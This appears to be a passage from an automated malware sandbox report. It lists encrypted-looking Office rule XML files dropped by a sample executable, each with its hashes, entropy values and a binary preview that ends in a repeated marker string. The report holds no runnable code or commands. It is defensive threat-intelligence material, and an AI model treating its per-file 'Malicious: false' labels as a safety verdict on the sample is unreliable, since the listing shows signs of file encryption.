Preview:	<?xml...y...N.y...3.o.5..e~\.....O...9.N".@q6^.......S}..'b.ve_6.'..1..E.d....;/....W...w....NK8.;..m......l./....^.d+lT....)ds..".>..#.X.1I.3..H.p..u_..Q.......;....%..a...()kz .F \.w.E.....j..L......_...a....V.......{..Ig.x...]T...f\.SJh..e.dB.0D...D>....X...D....VfT;..V...s`.x.8Nn..[<...^.d.w.4.O.T..".h#..E`8...[..<.B......o...;........b.%..0.\|,qQ...V.,.G. .4...(y..^..m...fq......-.&>..=q...5...x.M..Q..ZKG(. ~..../......I...K.z....\|g\|...oO....h{~..T....N...#}Afz...}........>l..Q..m....1IM."...([......)v.p.Q...........zt}.$UV....M.......j]..;d.+....T../wM..n..\|.N.{<......1...j`.M.s.yz.f._.W.......Y0{.d..U....a...RE@d.....!....&.%r....0.Q.A7..8...^...e...J..\%f=EN...-0...d....!=...`&"$..g.......n.S.M?.0.).:.B..5...N.d..1.......j.J....b..zv..\\..X..o.T[.8.D..OeR...j.A...1..N....T..S(q.I#lzw.jf....J..X\.9..5.YL,..uI..Cv...u........K..e.!1z....=(.....]_.@......u,...f....R.8'.....7...6&H..?.^p...$. _.{B.?M.(......=+>oi......\|@/.m..5O..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.800115777853488
Encrypted:	false
SSDEEP:	24:a9Hc0hkfJKoplTgDvGYPraDipieFGyGBdhrjAdUo2bD:a980hxcgaYPWDiUf1j4UbD
MD5:	82CFB704CC00DDBA84F46D8D28A669D1
SHA1:	27C0D492DA118E7A38FDD38A83707F28E2E49AF8
SHA-256:	C23329B744E1F134A653C6DE66C39509B8942A285737460E9E38D2E57190A9F9
SHA-512:	86497C16CC28529C051DE646D55F8934C11CC8F18FE31CD758E60CBB07FA61BC2CB4E52F186FD8BB8C1F4FC3EF9C2F6C744ED7A5627435D868CAC5B3CAD61220
Malicious:	false
Preview:	<?xml..0.J;.^e!....RZi.S..>+..U.x=.@B.d....$..n.2..A..v........G+.V.\|...6x.Zr.]~K\|..:.a(.ul...B..L.f.H\g.FBY..w.T(#...,5d....I.0.A.k..jD.E!%p...v37..'&...e.A{..,.e>...j..d.....M.B..r...pg..T/5.9..p.....H.C...]...}P..r....f.L..8U.....6.ta...9+]..@A\|...s."....<....o..L$..#..o..../.........n.b....R...,..07....T...."g...o.N..s...#...+.1Y....#R....5..".\|.H...e..'X.m.....g...F7.#'6F5.M.0.K=t.r.;....=..L...q...LZH.@...gSY....Q.=.7.uL........F.)K...3y."...+Et.;l...-...H..Y.v..Tb....;>R.........1. .$.G..g...'....c..L.-..:.`h....}....Zg...yC..Z..-.cS.^e.F.?Xk..{rqN=n.A9..I..f...7..;5...a.CHA..4(.T382.H......I.y.S......D..o.../....u....R.B...\|.....@....4..4.V..JF.s...$.G...VG.{.2g..~b...!.v?.s.../0.f.C..*.5p.8v..a.bZ.N:..31Bc/c..-.........VZw.z..]6..Z-..2.Ft.[./..oAW.....C..c.no...Q.9}.c..".\|n..[.W:.u.T...6L&.&....=`........J....U../.-s..(......p.o...}T..:..'.T.....S.Q......=pd..ZX."....?Fl=t..5.....5v7M..^`jg..)...>=H6.&.;.R+....tY.)....OV.@..u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	7.799639436910338
Encrypted:	false
SSDEEP:	24:PXeIM2CJniWlnDEUr4SPZQtie9Wq2R5cq4r8lFtDYiVb2bD:WX24niwgDtK5crApCD
MD5:	9988A20D2985324836BA343B3C280A7A
SHA1:	3718752E43A14C4323BCD14E4FEA13850D5278B9
SHA-256:	FD5205E5CC0B602E15EB98A8FC94FEB21EB0E992436A47E90B132F8E8B3CBA52
SHA-512:	E9DD213E177FCB9C5A6B10BB01FF6910C0281A16FC4FDA9FDA042DC1BA1330D1AB69E463AAB9780ED9F4AA009F48D980C790860F82C978270EDBB3873A81C60A
Malicious:	false
Preview:	<?xml^.j...b.&a-U...\.....)X..\|E..goh....N.P9...?...,..e.Z7...E}...{...)...:Q.7.x.#.o},....1.a...<\|..Z..[.....>?....H......aF......:7fv..].{.sL......'.S.@.R.@.../.c..0.`.?....l.1...b.c.z......V..Jx.#.&-..g..X...7............zR...._-.MNC...B.....6.J....)l.1#..>.,Z....'.w....3...O.......1.W%../..:...7`(2......&F......U....m...WB-.'7....>.......D.....I...MW.v,Bz.4...c...D..,...wL.n3..z.zo...[n.r.....D...DB.^.X..MC.......-.h......f....I(..B...".x..GQ./.....M.....S.#..z...RQ.=/W.......Wc{.M....L.).`...X.mGu..3=.?ll1rC]z..#{..A..CFH.....@.8.X..kj.7.z/.,1vr....zDy....3y.=y.....*.......ZNwa.v.8....tkR..k......0C.<..V.(.(D#&....z...[...I..a..n.vT.........].S....D..,.!..y......K..v%.~Y..^'......>....m..-....L.........m...Y..R)...vR..B..hr......y..!-Q.j.N.3..&..X.j7$........se........l.J..M.%..dW.]...r5..(...i.;1...>...y.n..B.._......Kt..x......./sh.O."_.0.7...v..<L.k?}.r.p..e."}...h.:...o..X....hT.HL.#m......h.K..E....8.=...c....x..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490018v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.809787825534818
Encrypted:	false
SSDEEP:	24:5CCPeUroOwBuaw7YgGKTwyuWPLXigYnWPR2bD:9eawoaw7YFKMyuWPb+WCD
MD5:	A04A7916FA63E66446AE469DBBE2F88F
SHA1:	B5E2306BE4E96CABF0A31C48578C1FBF0C5553A1
SHA-256:	86C90B85C99F8CCE167DCC5F705DC0FC41C3311C598BA0814918E86270E4020C
SHA-512:	4167A3B799FDEEAF019BEFC5366B9C9EC545614D3486E35CBC795896542E531B8194A087CB7B3EAA1DD65F7950078D522BDEA5C2041DD51A5666C0B1D89D0B52
Malicious:	false
Preview:	<?xml.!......b.....Kn.87..nl.R.u....j.5.....z...D..K......G(]..R.vI....V;.d.:.3B&.;.N.\|......U(2.B.&n.a0.{1o.3......I./.D.b..'z....p......@...l$..[...`........bf.QsXd..y/B........{Ar...@...T.].Zkq8.b........W6........t.M8.o0P$XM..A..1.<...2F(..4...\.T.j&...=.o.'.X..3..,.b...]\.]..@..../..:l.>.2...j9zS.7g.._s.......Al.>.Q.....!.u>.R...s....@.].:..u.b3...1..].'R....s. ......=....0%S...hS..:..k.g.I..=Ub..?=.K...Zh...<rD...H......._........._.(.K....e..egp.B.F"C..a...._..e...?.^..3....H.P.==........B.......>......)..{........5'.Y..+=....u..........#..=)M...'..O..FR.....a.N2.G+..`..:....m.Lc......+..<........^.F'..sy....Mx...h......DR.8..^$l.........t........u\`.LZ...W.!.._.X.PRa.2*..\..~.j...+C ....O.veh..0.....V..@i=.R.5.:..V...g....,."......0...=_RWh....R"...ou J.......%..f...P.......n...1W.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490020v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.832608947844477
Encrypted:	false
SSDEEP:	24:IVbYzu/LvPDz1go40WN2htmlRddDzpkXpPIKK2bD:Mk2HDze/MtGhDVMpAgD
MD5:	FD39BDFAA084D504F9898BF7DF1A10F8
SHA1:	1D47A2A7BA4552419959AECF34AB06ED1777C5BC
SHA-256:	6C2ECBE482352D3F67A3121F7243E0F855939A509FFB2F6D2EB63793B8608E6F
SHA-512:	4E2D86345E74596DA3C6B7882FFDBF2C9277D3E03D1B71A52D04BDC07C5DFF5DD04062966A69444081884B17D41FBB3E078B560D07E16D720D084560C09D0E90
Malicious:	false
Preview:	<?xml.~.}...c.]Kj..6......p....l...I...=YDGz....qF._]..-U.)......s....{./. .e.%.....H<...\...t....V.L....i.[l....U..$l..{geU.,s&......2\|............+...^..\yQX..O.&.z.\|Z.).q...0!..i.g...y..u}C@..f..D..s.....j....+..Mf..3S...5P......K....7...)'...2..N..+....U....8.p...\|Y............$..N....G.{..St..uSG...p.2.m.Q\X.u...<..)M.5.".........B.=..........=.#......{.......IO...D..>..G~....g...E........./sp.^...d/t.c...N8.T.........{..<yK2{.[..t"iQ.).......... ..A..z...8..t...?.........TL1.3V.,....^o74w..}8....Y...X.gG.].....x.E@..n...Dl..J.......&=e<.x.;..../.Lf..'...%@..e$...e.p0v.O.+..U8.jc.;6........Z..>..p.~..f..J8..\|`...~........A.F...-:.....j...%.99...GD.vw.{a....Q..e.r....?P].:..rZ....4..d.....".1.j.......i..Cb-.^.x..`....5s..=.\|BU..xN.zk..].@.wkH..E.Y.5..........F.uF..#.....w\......`J...w.T.....q...3v.S..E4.....K.Y..o\...C`.Lne.....s............O#.h.]l.p4UQ..o._.5.H.G.$.V.2.FAS..N.R..+.X g..m..pk.j.GE.!.g7..H..I.Y...e1......D...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490023v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.821635623840503
Encrypted:	false
SSDEEP:	24:EubrZQ0e3le9hDBfcIKl9QPId3g+gGU2gXu+EOZ8O4Ok8s+4cv2bD:bvL7rfchcq3g+gGUte+EyszcMD
MD5:	BF65BF6CE2B0486F6AF2F5ADDA08C56A
SHA1:	77DC01AB2548BA9C3748CBE65C8F873DF1D931D3
SHA-256:	52ECEF700D516E29290BB1D701C33CAF6A935289964029940A2E8029FEEEFDA2
SHA-512:	AFD8ECAFA513349894A81FDED550A707A04C88B79D3DEFC5E8ECF1A84FA5F5442ED549493B2E3D95443F89E17D7E6B63740C7A8E944721CC4A3D8B67FD033A4C
Malicious:	false
Preview:	<?xmlyt......'-....xl......d...X.......L...>!.Z.....D....#PH...s".%.Z^..v..{!M...>1o....;.4.X.[...M......lU...Z9..-..f....>,.$.{.......{..WQ..)}.Yx.qX.T...x.\|0l.....6[."o..i.....t..?<i2N.\|U..+7(;.4..0g.)M........dh@.Y.b.~.;.E.@.F'.Jc~..`.k&"f......F..U...Ih3.u..:F.....sO..../...uT~o.A.943.1!Z..../..B@...Y..V(Mv..w.j.}.t.Z..-z..2C.I...kBx-h.dW.0-....y..E...v..]..z..8.Hu.wb4....g.@.7./$.9C....~.8l...w.V@.3...gS$.9..0.[j}_i...F..j....[.?..R.N...o..G.i..F&v.;h..6..$....._.o..f..d.%[]`..2j3[.d...k2...ai.*...2....w.#........ k...._.q.....z#1.Q....UM..gT$...Uw.u..'JN.....a.[.N...o.c.....[!5.K.......o..W}.k..hp...8qWQ.<..U.b..\|...US\\.V... .I\|.X......+].. s....-y.F.0.n...=..$.p....0~....8...?^T.\.Q...V...(..0F.3n....b..................t]..E.F.U...NH..w.b.+......G..G....R(...l.h{.. .r.2.F...P..}n..T.c.j.L.R.9b.l..(..h.....o..u....(HEb.C......e.1...B[..V,..X..Ez}.0.....^c..Mo...^"U..4WUs.v.D~.5..'...........D.Z"~.T.'..>}...P,B..1.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490024v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.753490501287324
Encrypted:	false
SSDEEP:	24:Cvi/I4vXncD82M5CLhOqDmzegKwgZI9mcwTBM8Su2bD:Cvi/I4vU8Huqy9ZI9gBmD
MD5:	BFB7B0B8471D426989A64258A11A9049
SHA1:	49B0086F9993AD842AD29C92CABEE5E856FEF624
SHA-256:	1770B60D102AF6E4E823CB66BD10BA21E3F60CBBA95890178ECA8F61B10C6009
SHA-512:	40B5EDDB52A9488B216902D32B49B6503B2534BC4FD9346F543BAC014958A72521457780CF85329F2025952CD390C069F90EF88C7108F8F1A2175044787ADF76
Malicious:	false
Preview:	<?xml..b..Y....]+....-s..K.).e$H/..3C=....<<..`....]..a.tz..d......4...j.3..WB.+.%.h.h.`.7".j'....B..Q...d..4>..a....e.g.`.\|.~...{5u...Il8.G......C..;.eG....B0e..........1..7JM<~..4.......i..yQ..+....,...G..'<P2@s^w./...B...T.Z.ZR.j..6I .jz.....D.S.k..L&.=.R=.$.m...X"...H>.......R.(x.>c....;q..5...i+S.."...8#-a?.p..'....W0..7..<d~.x..t..I..#.s.1=...$a...'-c,.?5..,Z.v'.B<.=y..q.j...To..#....H.B......S.....ei.2"?..{....._[.55.P....+..az..........gy.m..I{3....%....3.......rm....R....3...yGS<..5.!.\|...V..I..$.........\|ZF.X...S../.vvC...n...#.P`.jG.[.c..:....s..[....q....1..3Z?......T{.'......L.yP..T...N\|v..].....j.h..-..@..w1......\..Zq....vjc.K.q=r.V.j5H].K..l.V5`..}do@..v.nB..@..T.p..../..w..?....x.......z....iXX...C..v.^..Um@.P_w..I>T.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490025v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	866
Entropy (8bit):	7.7332518245641255
Encrypted:	false
SSDEEP:	24:2NrcA0/A7IO0PPhR46PJnCIlX48B3NgtV2bD:Ar70I7+PPhR44JnTggD
MD5:	BF4D0020F838D6DC24DF406ADA782D8A
SHA1:	5F72754F0272ACA7427DDDF3F56E7B9C74CAA378
SHA-256:	58D4E12225FB628E97805C0D00450212A83278517969B83E7085D8253A1FC827
SHA-512:	38B0908DCA4CA58D520131568F5EF48420BFBD83A995C4ECECB939C05CEE8235887BD3FAF80F892C9A33FF99094390A970739EB70468CB4C9439C763ACA1CD18
Malicious:	false
Preview:	<?xml..h7-g.l.U...9...?8o}_...d..;2..B....JIC.{.d_.....Q..VYequ...._$..`..W3.m....r.....{"{.\|(..e}.R.&.@..cm..nO_.e..c....C......q.;~......P.:.kV.Y..dC...r....=O......:.s!c....B. ..!...,>Q........]..&.j........S...\|...3.e(..6....%._Kt.6u.QV..l......Z....".......:....8.."...~.e..\|K7...l J......._.;..;...[..w....%.'...W..9......kN.h..9....2.2.C..u@.>.X..r.........mH.~....z..>~6._=.^...D>..nq..H...z.B..A)`...0..9...a.]........bP.c.....AP.N..."@.x...]..g.KT.....a.z.p.j{+.....v..."(..F...v9,P..eP...D^ob../..I.............,c........}; ...bTX\|W.KrAVr.5e...O.{Jr..eG+.0$.x..$.Iu./o.>...2k.+.-;.9_..$.N.....K..PY..dl3.b.l%...(-.+....4.%..E.ob. .k.W....J.H=.;._....../M.<.5s[.S'..S{.}.%%a......kA.....r.3Adp...Y...$.!.H..o2.Qd.N.......y.j..K.;......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490027v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.805257676028031
Encrypted:	false
SSDEEP:	12:WqJF0PPXt5nb7Kb0ABkipxWSSEo1KwBah3I9B3jBjBLXEpOikdQHSUdNcii9a:WqJUd57b88SSTIH3ItBhi9y2bD
MD5:	756E260C666C5A07DD0F1A4EB03F95F2
SHA1:	2CDFD4966F4C9EE3A87AFADDDA8172708320D6CE
SHA-256:	7500DCA88FCE857BFFA78B8835381C3C2CA98564A6D81E34C97926B80E32A4EE
SHA-512:	6EB83C05DD09B1DE70854D8E642380F78E9B4763C65FDFA0E40FF186B7F1172848F75AF4EDCD912B42BEC57012D8D03FD08EEB34B10630A6C845DAEA411533E3
Malicious:	false
Preview:	<?xml_.~.fQ. .f....?v!..w........L.Ba3..y.qJ<....B/..&...XDo..Z.......9M.T_.{.H.P.....Q\..Ib.1#U...S..c#.`6. ..2..A..;.l....R..w...$X._X...t..n.QF..5e....4.n....dJ.....}.....\|+.....Gz.....v.V.....Q6.X..{..Sa..K.....J.nw......{[.;......?...}....O..C..Ot.....2..K..F....CZ..F'....p..Of..g..;H.?....^9.F...*..$..8....&..r.C...P..n.\|U.X.)...k..d.....e..XF....a.....(2F..e.0..1.@....8Ip.......w...>T..:W.=...VvUWI..J.R.#%.Hv......\.M.$F.S...Z.....=..4...T..'."2..O....1b~....3h...F.?.i\|.4.?..sw.p$..:....b....e..Y.j..^......-\.B.....?<..t......eh......#..{s..........y"..s.\|.r..[..$h....i...c.....U]p.F........q....)]....@+0.a{ Y..c=...sqMF.L.P.0\|...p.H.......HiP.,N\^......:l.<G.7....b+ ....\.e...p".51...J.^......=.+.. ..u?.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490028v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1057
Entropy (8bit):	7.755231498566582
Encrypted:	false
SSDEEP:	24:X+5yITYIx8kv5KwJWeETMmqTz3vRdGZhQnSk2bD:gxWwJRETBQr06SD
MD5:	B602BBE823560E00C5526E9B22D20A8C
SHA1:	DD8678A599872183141E35F3B0B16E46C444C6D1
SHA-256:	14944422807D586D91CF6D6A9F28F60C61A4EF56E3F911C796CE8ECE39341DA8
SHA-512:	10DCA702D35143197129B9D3750C7148AE49A2312E8F6ED3213432B8A295688D71437845815F709019F41DFA4233B3F9BB08C18FD7967627669F485A21C0CBFA
Malicious:	false
Preview:	<?xml.r>p/..=.L.1[..}t.B.....Zd>..._.9...m.k.q..B/B.dZ..,..jH..0F%....."W.7;I.}.F....[.~.....Q.\|.D.pM.\.dT..5M....I..l.:....Vsv._.1!\.....a...r.z..k.1.t.t...\|V...S....W...._ET...z].....QE #}S..!........D9.....<L .C...4p,9..D8...k.9..tI'..=....._.).Ru.V....5o..N.^....j."h^u...........F.*.T.....z~[.....I0..x......WjC........0/.~7.....O.I!...2...\..........T.....3.1r=.....+.d...1I.jl...SU..qi.F.I{.Pj.[.rmf..E.~.j.....S.g}...DE.h..o.o{..........j.....R.z..j..T.......3#..{.Nz...4p}&G;9_o1.........O0.9z...7.q..$.....di,.lR.YL.h&...+L.K...V.5.>ci....+..!.X`[k..eb...u...el.#\|O.!.\|...A...Bb../.C.pB...s...wnu..\|..i..E..[\|U..d\.zt~M.o......a..].2...%.=..2."\|<."....'h.......o./....."<....<.....y...d.Z.W...C.d7;...h...0^....#.....O=.A..Eh70.y..:..........D#..&b.l-!.K'...K.`.......j@....#R.W.4....H..XtQ.\&K. +.......})..}Q..f.nhS.!..lZ......&.`&n9..I.j:0O.}.M.....h.M;..O.....H)g..l.K../t.0.....b .ir0.~B. ..8R.!.O..5...6.t.C.\.d{'..mMsRxMUuXypapZbGOAfxD

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.705907285081208
Encrypted:	false
SSDEEP:	12:d9IUMR4N9zGNhgtbF0UdceSI2sZe4Eqqyr9yBV5IOzqvIRZVqVICZF6dAz5SUdNX:fIUSjjCZYeSIWqTmVfoBZ+mM2bD
MD5:	4BDD24BCD70341AB4588B63AFD16C4F7
SHA1:	7B4FBFC0F0F7BADB90B3AEC4193833733B31A55D
SHA-256:	27F2FC6DB4E35C90FA5F6186751AC03366105EEACE0BDC926227582F56E19334
SHA-512:	72E3C2D1C0B32B0BD35EE6F91ADF2C15340D50F4DA3BD90FCD78FBA10A51E3679A8B520FE9376E4613F8AFE773D947969AEE6A4F4289FDADC76681FA97291F30
Malicious:	false
Preview:	<?xml.,M.&l<..cZ..aoW.......Y.'....Dg..}...g..Y6...N.([.6.......E.o..0I.W.....(F.Z...........zrE...,.z.m\.KXZ...Sj.....>.u@...L..yeUp..j..AE...........G.....G[.ME.Q.._...`.[.0...P...M.0..=]..7.+.f.....U....<.(q).d."..k%...:..3.n....j..2.&....E.Fy...=.Z".tOk\|.....@......sH5>..xS......V.5..)...t..A)T..5...h.?_q..xd....,.a.u..:k99....l.kZs.M.M.`..y~..u.ESxl...Z.1....K"..$.....b..Z..._..........#...C..%$0..[..i0...&<...A..MW.=moQZ.....d:...h.7T.o...WTa-X...A.....<SU...>.h..=....rO..f.1....B\...)G..>&....@a.wP.,.a....zHt..`k.+L..5.....X....0V(.....#$....K(. *69xu.Q.)....../....d.IBd...&.O.R..N>..M..lP..i..V.v.+..."B.o....8......(..z-..;....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.801018545584802
Encrypted:	false
SSDEEP:	24:s1rSmwwiFPIChZ2UpzgEv0PVdFURgFcdEvU7zrg4WWImO+72bD:sJ4AUFgG8diRgoE0Im+D
MD5:	463CD9B4E749D090CD80651094DD1EED
SHA1:	B761AD257DE2B33C2B532092E731600032C6115B
SHA-256:	B703C63DC239CD1BE453F6A826246AD9A87F945EF4B4E7C6B2178FBEEC6B8BEC
SHA-512:	3C7D76BA5F1AC9E1C00C12850F4541FB56E97AFB320FD87CD28C6408AE49F0E091E8AF0EF008F5940BD98F68812C8E59A67BE6B76AEDACEFC50A0B864A7A9205
Malicious:	false
Preview:	<?xml\.<<.Ns.......\)-.8=P.bZ..f.T.!.vqWFE...fI... ..6......0o..d...hn.^.J.....T..f.t.@..Sq.E.}d.;..T.4...2.6.P.).2....j..eI.,..].w.....P.h...$Q..+.G....\...;...]#...iK.!.Z.dg.....\|..@.4.x.Q8.9.....g..(.5..[._.U......\P...4.gn..!G.t`....}......p..;.q.......g>)K"..6t@.6.h9J.....<....Q..IX9...ay_zP.o...Z..@iT....9......r..o....MS..v...Z...._fo.~(.&....!....1aI'o1...k.U....._@m...8.4.N.a..wO.<.....x...u....,h...4<.t.j..]...dY(..3L.]..2........3..b..%aw..<.T;.D7..h.I.....} ..m.b.B..d."...jD....J./.uBZ..R.....e.8C.......2..M$V&.t&.0...J '...G.~W......{&..=....{...s.S...;..%9......3U....sw.6...gR.\|.D.[\|..+.......5!......d....=..Y.1=..8c1..4..w.H.....t.2'.+Cx...FR..._...i......3..ZHNgS..7Au&.....PI<.?#...p..ji.X...#3....x........H.Q....I/...?.%;..2..Zg........fi`......C..Ox8..Q.q..fb.A.xm...Ei...B.Y..7.2.~...C.....@............l....[O....c.A=../..N.1U......N..%F..\|.....0..g.i..`..K..*?..J.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.783663218601148
Encrypted:	false
SSDEEP:	24:E1jVnD0nq4gmxqPZAuZ2voAHyw6sk3OK2bD:mhonnrxqPZAxbD
MD5:	A3A2C5430A65DC6F2A25073AAC96B877
SHA1:	2AA54DE1D78A6A7F921FB753DF61B891868031F3
SHA-256:	89B1B3733FDD690822C9A10183FA6B4790D90091D7ADDAAAD1B1326A82109675
SHA-512:	CE07A07D3966939F40711E48A8590FD1DBC4F0B660D730CE92C2B953A1E52B6D16C4CC7ED52C19A178E18A7BFE34C13E18E4D4F40F9A1917B9EECB60E6E1008F
Malicious:	false
Preview:	<?xml.\s..v...dab.}c.i@..c.....i..E.g...K%....<...F..._.......".\|..u...[".........;.z......uI...3..OY.3%.s=.Y..OZ ...!..I.-.X..s5.........QE.vkr3.+x..nl...;..(a.U~.....>...".-........q...hl...8pQB.j.....d..J.)....l...E.U=...(%:..-..pH.\.V_u....c.hc.z%...R ..'o..uM...].~m)X]T.<.#.?V7.8.^u..a.s.6..v.(B..%.pEu.E....x...uY..=.../....W....q.7.l..\|...O".5.%..=.-}))..(G.MS3.=X(.s8\|70...bd...w.....;o..ao/.(..n......."..s.U..P.s..]...w../.\|.s.l....G.m...fY......k.....cE.....".O!@.\|.4>T..$.e$...\...AL..[.G#..!~T._.+........"XzS..[...2_.......XkB%.B....t...*K).t.;.Hq.8.Z.....>.B....I..d.\|..w.(T..}.....V......Lk.H.?.o\|jM.:mP.#..@'..=........n;..5[..BEPt...O.k4..n..X......F3t.=.^.Mai.~..u<..t.2k&,..m.k2.......a.i.....1...yE.z...G.KK5.p.-..[.,H...0.E.h...g..u8......t.1.....$$dYY.L.(YE.z../B.d.W...M&S...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.831362402381703
Encrypted:	false
SSDEEP:	24:MPtqms5T1nKg5Y7hZV+du7cwtCKfddn3ACbByABtz2bD:dXKIchZVlMKfdd3lyBD
MD5:	6EF1C32864A20D8A0185A58617BAD5EC
SHA1:	8FABA0EAB878EBECD72750FF6261CCC27BD05370
SHA-256:	E9A2A526CE911AF6173670E480EFAF01A54B50C109CFA9A4CBE4B554F8539D3B
SHA-512:	9F097D6186463801DD157566E3CEAFDBE03C228E07056BC31E84CC93E47F7CB3BDB2A61267FFD8B6567DAD9827AF8130653D091A7872EBAD738DA9BF802EF4E3
Malicious:	false
Preview:	<?xml\.z.....a2......w..D....{<e..Mx.2H;I.._\|.p$v.9..V;..r.......{..-s]..V.X.d....G..x..\.....N..-.y......2..:B.....e..1.\|/..2.Y....XB~.q?.N....K....L.S9..@.m.4..Hl..IYQ,..1I..gTLz....b...........:.....p_Bk.JR.J..T.^...%..x.\|b..~..m..%:...#\...4...{[...i..'.n.....?.R....5.J..9.E...$.u_.r..(..1...X....@{,....y.%..r.....h.S.,..#@.rD...<.bl.....Fn.......m".F...j_..x6.0....+...U0...v.....5..b......-0\|....0W.]......vq$..o...w[_..2n.=...."...;Z.....^tQ...i..q..?t+.x`.v.3'N_.W....}..g........gD...+..H.}].QV].....3......9.g.Y..}.....).'..J....V...=LF.Y.KqC.UD.`.=[E..Dk..`x.f...zyk...AK...y..S$.`. .R.E....L.(.N.Xq...x.D._B....ju5....Z.3#j.P..X."A...c...._..`.YdL.i"bU(....D..'.&....0..{........g.....!C...@@L..p!.W...g.&C.k..B.....W.f>.Enq.cX........;...Fq.H..."..M.2...)..&..i.J.p............../..w.....{..7..W7.U..)....z...\|1..\|..A.Db6....N..@)..`$...y.Y..A:........[>...1......z..!..O~+.eR..dVt...de.6..+.;...\|.W.......p..a...S.*9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.826217483368909
Encrypted:	false
SSDEEP:	24:Ae7a4Rj/34Ogo1nh5wffj/zaZmICG/Ga9OVaKQ4fwM2bD:Ae7n54QnUnXDIV/ABQ4fyD
MD5:	A233F3EB1C05FC932DDF6530A6A48D27
SHA1:	D51267E655449261D167D222D64F19D8127BE8DE
SHA-256:	064AB6FA5786B27C84F76DD45F23C712F1D207103D8D4A8C0C6FC98AA0712485
SHA-512:	B514EDBA17F54F6638161F2E50E233B36AD8012F689F1FC8C905C3180C7521D859E2C3A13A0A0EB9C0DD7C295448A17C346FEC822A777898A23AA5B399182143
Malicious:	false
Preview:	<?xml...%.N..... ..y..=.....>.J&..V....k...@.sz..[&..].......k._............{"H...H._Q0.nv..t'Y..'...ef7-iNa.;....a.+w.......A.Yw....1IvQ...\q..d.p.j...i.7...J...a.p!.c>.0.......V...O$k]9...2.`...?/?.&U.5".....B.$...d.E8X.c.....{wJ..]}.N...d.+a?H.Ny..7UEx..I.k..q...@.;Q....:..d}Z.N3.......>..p.+..n@..C[.t..OH.>O.rLb.W9'.l....I0d$.f...{;_.K..#...`.....}...{.i.I.RX..1#........_(n...].p..[...AR^+.....f...../..W.....;...v.k.i1P..=l!U.%...\....T..;iGi....5.K&.....UZR.g...V.......I.{..V...C9a.}..W........57^.Y.\|....,TOjo........T)C[.yR...o]E.c...j(x.E9.O .._..AY....5(...o..0t.....6oe......o...........)...G..g8..T.}.B..VOeA.:q.../.S...jfG...Y.....iz...*.bL\|......n..oL]....}.8.r...........1w...a..>u.X.z.yjf}#....X.h.t..USc...i.Z...i....).R..q.i.....uKm5$^ 